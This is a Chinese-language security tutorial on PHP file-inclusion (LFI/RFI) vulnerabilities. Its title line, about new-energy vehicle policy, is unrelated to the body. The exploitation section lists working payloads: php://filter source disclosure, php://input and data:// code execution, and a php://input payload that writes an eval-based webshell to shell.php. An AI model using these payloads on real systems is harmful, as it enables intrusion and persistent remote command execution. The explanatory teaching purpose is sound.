1. 程式人生 > 資訊 >工信部汽車管理處:要保持新能源汽車支援政策的連續和穩定

工信部汽車管理處:要保持新能源汽車支援政策的連續和穩定

一、漏洞介紹

把重複使用的程式碼設成變數用於動態呼叫,引數使用者可控。從而導致使用者可以呼叫惡意檔案,造成檔案包含漏洞

二、產生原因

  1. 引數使用者可控
  2. 使用檔案包含函式

include()
include_once()
require()
require_once()

  1. include與require區別

require的檔案出錯,主程式也停止
include的檔案出錯,主程式繼續執行

三、漏洞危害

  1. 敏感資訊洩露
  2. 獲取webshell
  1. 任意命令執行

四、漏洞檢測

  1. 白盒:
    程式碼審計
  2. 黑盒:
    web漏洞掃描
    cms公開漏洞
  1. 手動檢測:
    ?file=
    ?page=
    類似場景

五、漏洞分類

  1. 本地包含(LFI)

被包含檔案在伺服器本地。

  1. 遠端包含(RFI)

被包含檔案在第三方伺服器。

條件:

php配置

allow_url_fopen=on

allow_url_include=on

六、漏洞利用

1. 結合檔案上傳漏洞

2. 本地包含

讀取本地敏感檔案。

3. 遠端包含

使用第三方伺服器,準備webshell。

4. php偽協議

分類

內建協議:http、https、ftp、file

偽協議:php://input、php://filter

利用條件:

php>=5.2
allow_url_fopen=on
allow_url_include=on

  1. file://
    ?file=file://本地檔案絕對路徑
  2. php://filter
    ?file=php://filter/read=convert.base64-encode/resource=./index.php
  1. php://input
    ?file=php://input <?php phpinfo(); ?>
  2. data://
    ?file=data://text/plain,<?php phpinfo(); ?>
    ?file=data://text/plain;base64,base64碼
  1. 讀取檔案原始碼用法
    ?file=php://filter/read=convert.base64-encode/resource=檔案
    敏感檔案如 phpinfo.php 等
  2. 執行php程式碼用法
    ?file=php://input 內容
    <?php phpinfo(); ?>
  1. 寫入一句話木馬用法
    ?file=php://input <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?>
  2. 總結:

在這可以理解成遠端檔案包含漏洞,即POST過去PHP程式碼,即可執行。如果POST的資料是執行寫入一句話木馬的PHP程式碼,就會在當前目錄下寫入一個木馬。

七、防禦與修復

包含引數儘量寫死,不要動態呼叫。